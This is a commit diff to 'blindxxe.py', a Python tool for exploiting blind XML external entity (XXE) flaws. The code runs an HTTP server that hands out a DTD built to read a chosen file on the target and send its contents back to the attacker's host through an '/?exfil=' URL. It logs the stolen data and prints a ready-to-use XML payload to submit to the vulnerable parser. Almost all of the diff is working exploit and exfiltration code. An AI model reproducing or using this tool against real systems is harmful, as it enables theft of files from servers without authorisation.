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Improved blindxxe.py

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This commit is contained in:
Mariusz B 2018-10-23 23:03:47 +02:00
parent 084d179e71
commit 06fcb6e6ff
1 changed files with 40 additions and 13 deletions
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53
web/blindxxe.py
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@ -58,7 +58,13 @@ config = {
EXFILTRATED_EVENT = threading.Event() EXFILTRATED_EVENT = threading.Event()
def dbg(x):
if config['debug']:
print('[dbg] {}'.format(x))
class BlindXXEServer(BaseHTTPRequestHandler): class BlindXXEServer(BaseHTTPRequestHandler):
method = ''
def response(self, **data): def response(self, **data):
code = data.get('code', 200) code = data.get('code', 200)
@ -72,9 +78,11 @@ class BlindXXEServer(BaseHTTPRequestHandler):
self.wfile.close() self.wfile.close()
def do_GET(self): def do_GET(self):
self.method = 'GET'
self.request_handler(self) self.request_handler(self)
def do_POST(self): def do_POST(self):
self.method = 'POST'
self.request_handler(self) self.request_handler(self)
def log_message(self, format, *args): def log_message(self, format, *args):
@ -83,28 +91,38 @@ class BlindXXEServer(BaseHTTPRequestHandler):
def request_handler(self, request): def request_handler(self, request):
global EXFILTRATED_EVENT global EXFILTRATED_EVENT
print('[.] Incoming HTTP request from {}: {} {}'.format(
self.client_address[0],
request.method,
request.path[:25]
))
path = urllib.unquote(request.path).decode('utf8') path = urllib.unquote(request.path).decode('utf8')
m = re.search('\/\?exfil=(.*)', path, re.MULTILINE) m = re.search('\/\?exfil=(.*)', path, re.MULTILINE)
if m and request.command.lower() == 'get': if m and request.command.lower() == 'get':
data = path[len('/?exfil='):] data = path[len('/?exfil='):]
print 'Exfiltrated %s:' % EXFIL_FILE print('\n[+] Exfiltrated %s:' % config['exfil-file'])
print '-' * 30 print('-' * 30)
print urllib.unquote(data).decode('utf8') print(urllib.unquote(data).decode('utf8'))
print '-' * 30 + '\n' print('-' * 30 + '\n')
self.response(body='true') self.response(body='true')
EXFILTRATED_EVENT.set() EXFILTRATED_EVENT.set()
elif request.path.endswith('.dtd'): elif request.path.endswith('.dtd'):
#print '[DEBUG] Sending malicious DTD file.' dbg('Sending malicious DTD file.')
dtd = '''<!ENTITY %% param_exfil SYSTEM "%(exfil_file)s"> dtd = '''<!ENTITY %% param_exfil SYSTEM "%(exfil_file)s">
<!ENTITY %% param_request "<!ENTITY exfil SYSTEM 'http://%(exfil_host)s/?exfil=%%param_exfil;'>"> <!ENTITY %% param_request "<!ENTITY exfil SYSTEM 'http://%(exfil_host)s:%(exfil_port)d/?exfil=%%param_exfil;'>">
%%param_request;''' % {'exfil_file' : config['exfil-file'], 'exfil_host' : config['rhost']} %%param_request;''' % {
'exfil_file' : config['exfil-file'],
'exfil_host' : config['rhost'],
'exfil_port' : config['port']
}
self.response(content_type='text/xml', body=dtd) self.response(content_type='text/xml', body=dtd)
else: else:
#print '[INFO] %s %s' % (request.command, request.path) dbg('%s %s' % (request.command, request.path))
self.response(body='false') self.response(body='false')
@ -134,6 +152,8 @@ def parseOptions(argv):
config['rhost'] = args.rhost config['rhost'] = args.rhost
config['exfil-file'] = args.file config['exfil-file'] = args.file
print('[::] File to be exfiltrated: "{}"'.format(args.file))
port = int(args.port) port = int(args.port)
if port < 1 or port > 65535: if port < 1 or port > 65535:
Logger.err("Invalid port number. Must be in <1, 65535>") Logger.err("Invalid port number. Must be in <1, 65535>")
@ -145,7 +165,6 @@ def fetchRhost():
global config global config
config['rhost'] = socket.gethostbyname(socket.gethostname()) config['rhost'] = socket.gethostbyname(socket.gethostname())
def main(argv): def main(argv):
global config global config
@ -159,16 +178,24 @@ def main(argv):
print('[+] Serving HTTP server on: ("{}", {})'.format( print('[+] Serving HTTP server on: ("{}", {})'.format(
config['listen'], config['port'] config['listen'], config['port']
)) ))
print('[+] RHOST set to: {}'.format(config['rhost'])) dbg('RHOST set to: {}'.format(config['rhost']))
rhost = config['listen']
if config['listen'] == '0.0.0.0':
rhost = config['rhost']
print('\n[>] Here, use the following XML to leverage Blind XXE vulnerability:') print('\n[>] Here, use the following XML to leverage Blind XXE vulnerability:')
print(''' print('''
===
<?xml version="1.0"?> <?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://{}/test.dtd"> <!DOCTYPE foo SYSTEM "http://{}:{}/test.dtd">
<foo>&exfil;</foo> <foo>&exfil;</foo>
===
'''.format(config['rhost'])) PS: Don't forget to set:
Content-Type: text/xml
'''.format(rhost, config['port']))
server = HTTPServer((config['listen'], config['port']), BlindXXEServer) server = HTTPServer((config['listen'], config['port']), BlindXXEServer)
thread = threading.Thread(target=server.serve_forever) thread = threading.Thread(target=server.serve_forever)